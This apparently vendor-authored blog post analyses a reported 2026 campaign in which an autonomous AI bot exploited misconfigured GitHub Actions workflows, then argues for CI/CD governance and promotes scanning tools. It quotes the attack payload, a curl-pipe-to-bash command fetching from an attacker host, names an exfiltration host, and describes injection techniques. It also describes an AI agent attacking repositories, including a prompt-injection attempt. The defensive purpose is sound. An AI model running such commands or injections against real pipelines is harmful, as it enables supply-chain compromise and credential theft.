hackerbot-claw: CI/CD Pipelines Are the New Attack Surface

In one week (Feb 21-28, 2026), an autonomous AI bot called hackerbot-claw compromised 5 of 7 major open-source repositories using misconfigured CI/CD workflows. This article is not a technical dissection of the attack. It’s about the governance failure it exposed.

In this article

  • The attack: targets, techniques, and results at a glance
  • The lesson: every exploit was a documented, avoidable misconfiguration
  • The cost: concrete damage from Trivy, awesome-go, DataDog, and others
  • The fix: what CI/CD governance looks like in practice (4 steps)
  • The tools: Plumber (GitLab), poutine, zizmor, StepSecurity Harden-Runner

The attack at a glance

7

Repositories targeted

Microsoft, DataDog, CNCF, and top open-source projects

5

Successfully compromised

RCE confirmed or likely, tokens exfiltrated

7 days

Total campaign duration

Fully autonomous, powered by AI, running 24/7

hackerbot-claw, a self-described “autonomous security research agent powered by claude-opus-4-5,” scanned public repositories for exploitable GitHub Actions workflows and opened pull requests designed to trigger code execution inside CI runners.

TargetTechniqueResult
aquasecurity/trivy (25k+ stars)PAT theft via pull_request_targetFull repository compromise, all 178 releases deleted, malicious VS Code extension published
avelino/awesome-go (140k+ stars)Poisoned Go init() functionRCE confirmed, GITHUB_TOKEN with write permissions exfiltrated
project-akri/akri (CNCF)Direct script injectionRCE confirmed
microsoft/ai-discovery-agentBranch name injectionRCE likely (2m38s timing gap)
DataDog/datadog-iac-scannerFilename-based command injectionRCE likely, emergency patches deployed in 9 hours
ambient-code/platformAI prompt injection targeting ClaudeBlocked by Claude’s prompt injection detection
RustPython/RustPython (20k+ stars)Base64 branch name injectionPartial execution (decoding failed on a technicality)

Every attack delivered the same payload (curl -sSfL hackmoltrepeat.com/molt | bash) but each used a completely different technique.

INFO

This article focuses on governance and prevention, not on the technical details of the attack. For the full breakdown, see: StepSecurity analysis | Stéphane Robert’s write-up | Aqua Security incident thread

The real lesson: you can’t patch what you never governed

Every single vulnerability exploited by hackerbot-claw was a known anti-pattern. Not a zero-day. Not a sophisticated bypass. Known, documented, avoidable misconfigurations:

pull_request_target + untrusted checkout

Workflows running fork code with the target repo’s secrets and permissions.

Unescaped $｛｛ ｝｝ in shell commands

Expressions interpolated directly into run: blocks, enabling injection via branch names, filenames, or comments.

No author_association checks

Any GitHub user, including the attacker, could trigger workflows via comments like /version minor or /format.

Excessive token permissions

contents: write where read would suffice. Overpowered PATs accessible from workflow context.

All of these are documented in the OWASP Top 10 CI/CD Security Risks. Security researchers have warned about them for years. Yet even security-focused organizations were vulnerable, because no organizational policy enforced these rules automatically.

Prevention costs less than remediation

Every incident below required emergency response, credential rotation, security audits, and public disclosure. Some of that trust never comes back.

Trivy (Aqua Security)

  • All 178 GitHub releases deleted (versions 0.27.0 through 0.69.1)
  • Repository privatized and recreated from scratch (25,000+ stars lost)
  • A malicious VS Code extension published to Open VSIX marketplace (unknown number of installations)
  • Every user who installed Trivy between Feb 21-28 must verify binary integrity
  • Thousands of CI/CD pipelines worldwide broken until v0.69.2 was republished
  • Ongoing trust deficit: “Who scans the scanner?“

awesome-go (140k+ stars)

  • A GITHUB_TOKEN with contents: write and pull-requests: write was exfiltrated
  • The attacker could push commits and merge PRs in one of GitHub’s most popular repositories

Broader ecosystem impact

  • DataDog scrambled to deploy emergency fixes within 9 hours
  • The CNCF project akri had confirmed remote code execution
  • Microsoft’s ai-discovery-agent likely had code execution in its runners
  • RustPython (20k+ stars) had partial code execution on their CI runners

Contrast this with the cost of prevention: defining a set of CI/CD security policies and enforcing them continuously. That is an investment you make once and maintain incrementally.

The ROI is not theoretical. It’s the difference between a normal Tuesday and a full-blown supply chain incident.

CI/CD is infrastructure. Govern it like infrastructure.

We wouldn’t deploy a production server without firewall rules, access controls, and monitoring. Yet CI/CD pipelines, which handle source code, secrets, and production deployments, routinely run with:

No permission boundaries

Default read-write tokens everywhere

No input validation

Expressions injected into shell commands

No network controls

Runners can call any external endpoint

No policy enforcement

Anyone can merge a workflow change

No continuous compliance

Configurations drift silently

No audit trail

No visibility into what pipelines actually do

“You can’t defend against automation with manual controls, you need automated guardrails.”

StepSecurity, hackerbot-claw analysis

What governance actually looks like

CI/CD governance is not about adding friction. It’s about clear rules enforced automatically so developers can move fast and stay secure.

  1. Define organizational rules for pipeline behavior

    Every organization should have a baseline set of CI/CD security policies. These are not suggestions, they are rules that every pipeline must follow:

    • Token permissions: Always declare explicit, minimal permissions blocks. Never rely on defaults.
    • Trigger restrictions: pull_request_target workflows must never check out untrusted code. Comment-triggered workflows must verify author_association.
    • Expression safety: ${{ }} expressions must never appear directly in run: blocks. Use environment variables.
    • Dependency pinning: Actions and images must be pinned by SHA, not by mutable tags.
    • Secret exposure: Never use toJSON(secrets). Expose only the secrets each job needs.
    • Network egress: Runners should only reach authorized endpoints.

  2. Enforce rules continuously, not periodically

    A security audit every quarter does not catch the misconfiguration that was merged last Tuesday. Governance must be continuous:

    • Scan every pipeline change at PR/MR time
    • Monitor compliance posture across all projects in real time
    • Alert on drift and non-conformities before they become attack vectors

  3. Treat CI/CD configuration as code (and review it as code)

    Workflow files deserve the same review scrutiny as application code. Add CI/CD configuration files to CODEOWNERS. Require maintainer approval for any changes to .github/workflows/ or .gitlab-ci.yml.

  4. Assume attackers will target your pipelines

    The hackerbot-claw campaign is a preview: autonomous bots scanning for CI/CD misconfigurations 24/7, adapting their techniques per target. Manual reviews and periodic audits cannot keep pace with this threat model.

Tools that help you govern CI/CD pipelines

You don’t have to build governance from scratch. Several tools address this problem today, across different CI/CD platforms.

Plumber: CI/CD compliance for GitLab

Plumber is purpose-built for GitLab CI/CD governance. It comes in two forms: an open-source CLI for individual projects, and a Platform for organization-wide compliance at scale.

The Plumber CLI scans your pipelines and repository settings for compliance violations. Run it locally or integrate it into your CI to catch misconfigurations at every merge request:

  • Detect missing secret detection, untrusted dependencies, hardcoded credentials, excessive permissions
  • Get a compliance score you can track over time
  • Output reports in multiple formats for audit readiness

The Plumber Platform is where governance scales. When you’re managing tens, hundreds, or thousands of GitLab projects, the CLI alone isn’t enough. You need visibility across your entire organization:

Organization-wide dashboard

See the compliance posture of every project at a glance. Spot which projects are drifting from your security baselines in real time.

Tailored compliance policies

Define multiple policies (ISO 27001, OWASP, SecNumCloud, or custom) and assign them to specific projects or portfolios.

One-click bulk remediation

Select non-compliant issues and fix them in bulk. Plumber creates merge requests automatically, and you can merge them all at once.

Audit-ready reporting

Export compliance reports in PDF/CSV. Schedule automated reports to management or auditors. Track compliance history and trends over time.

The Platform also integrates directly into GitLab: project compliance badges, merge request comments with compliance feedback, and dynamic project issues for live compliance status.

Instead of reacting to incidents, you define rules and Plumber enforces them continuously across every project.

Try the Platform CLI on GitHub

poutine: CI/CD security scanner (multi-platform)

poutine, created by BoostSecurity.io, is a security scanner that detects misconfigurations and vulnerabilities in build pipelines. It supports GitHub Actions, GitLab CI, Azure DevOps, and Tekton, and can scan an entire organization in a single command.

13 built-in security rules

Covers the exact patterns exploited by hackerbot-claw: untrusted_checkout_exec, injection, default_permissions_on_risky_events, and more.

Organization-wide scanning

analyze_org scans all repos in one command for a global security posture view.

Custom Rego rules

Write organization-specific policies using Open Policy Agent’s Rego language.

CVE detection + SARIF output

Detects known vulnerabilities in third-party actions (via OSV) and integrates with GitHub Advanced Security.

GitHub Repository | Guide: Scanner vos pipelines avec poutine

zizmor: static analysis for GitHub Actions

zizmor is a Rust-based static analysis tool specifically designed for GitHub Actions. Fast, precise, with auto-fix capabilities.

30+ security rules

Template injection, credential persistence, excessive permissions, impostor commits, and more.

Auto-fix mode

--fix automatically remediates common issues. Fast local scanning optimized for developer workflows.

Use zizmor for fast local scans with auto-fix during development, and poutine for organization-wide audits.

GitHub Repository | Documentation

StepSecurity Harden-Runner: runtime protection for CI runners

Harden-Runner monitors outbound network traffic from GitHub Actions runners and can block unauthorized calls. This is the same technology that detected the tj-actions/changed-files compromise and the hackerbot-claw campaign. In the awesome-go attack, the payload exfiltrated a GITHUB_TOKEN to recv.hackmoltrepeat.com. With Harden-Runner’s network egress policy, that call would have been blocked before the token left the runner.

PlatformStatic analysis / ComplianceRuntime protection
GitLab CI/CDPlumber CLI + PlatformNetwork egress controls
GitHub Actionspoutine + zizmorStepSecurity Harden-Runner
Multi-platformpoutine (GitHub, GitLab, Azure DevOps, Tekton)Per-platform controls

Key Takeaways

What to remember from this article

  1. Every exploit was a known anti-pattern. hackerbot-claw used pull_request_target abuse, expression injection, excessive token permissions, missing author checks. All documented, all avoidable.
  2. 5 of 7 targets were compromised, including security-focused organizations (Aqua Security, DataDog, CNCF). Having a security product does not mean your pipelines are secure.
  3. Autonomous bots scanning for CI/CD misconfigurations are the new normal. Manual reviews and quarterly audits cannot keep pace.
  4. Define rules, enforce continuously, treat workflow files as critical code. Add CI/CD configs to CODEOWNERS, require maintainer approval, scan at every PR/MR.
  5. Layer your defenses: static analysis (Plumber, poutine, zizmor) + runtime protection (Harden-Runner) + continuous compliance monitoring. No single tool covers everything.

Trivy, a security scanner used by millions, was taken down because a single GitHub Actions workflow had excessive permissions and checked out untrusted code.

The irony: a security tool compromised by the very class of vulnerability it was designed to detect.

Don’t wait for your own incident. The tools exist today. The question is whether you’ll adopt them before or after the next hackerbot finds your workflows.

Start securing your CI/CD pipelines today

Try Plumber for GitLab CI/CD compliance, or scan your GitHub Actions with poutine and zizmor.

References

StepSecurity Analysis

hackerbot-claw: An AI-Powered Bot Exploiting GitHub Actions

Stéphane Robert

Trivy vidé après une attaque supply chain par un bot IA

Aqua Security

Trivy security incident 2026-03-01 (official thread)

OWASP Top 10 CI/CD Risks

Industry reference for pipeline security

Plumber

CI/CD compliance for GitLab (CLI + Platform)

poutine

CI/CD security scanner (GitHub, GitLab, Azure DevOps, Tekton)

zizmor

Static analysis for GitHub Actions with auto-fix

poutine Guide

Scanner vos pipelines CI/CD avec poutine

Back to all posts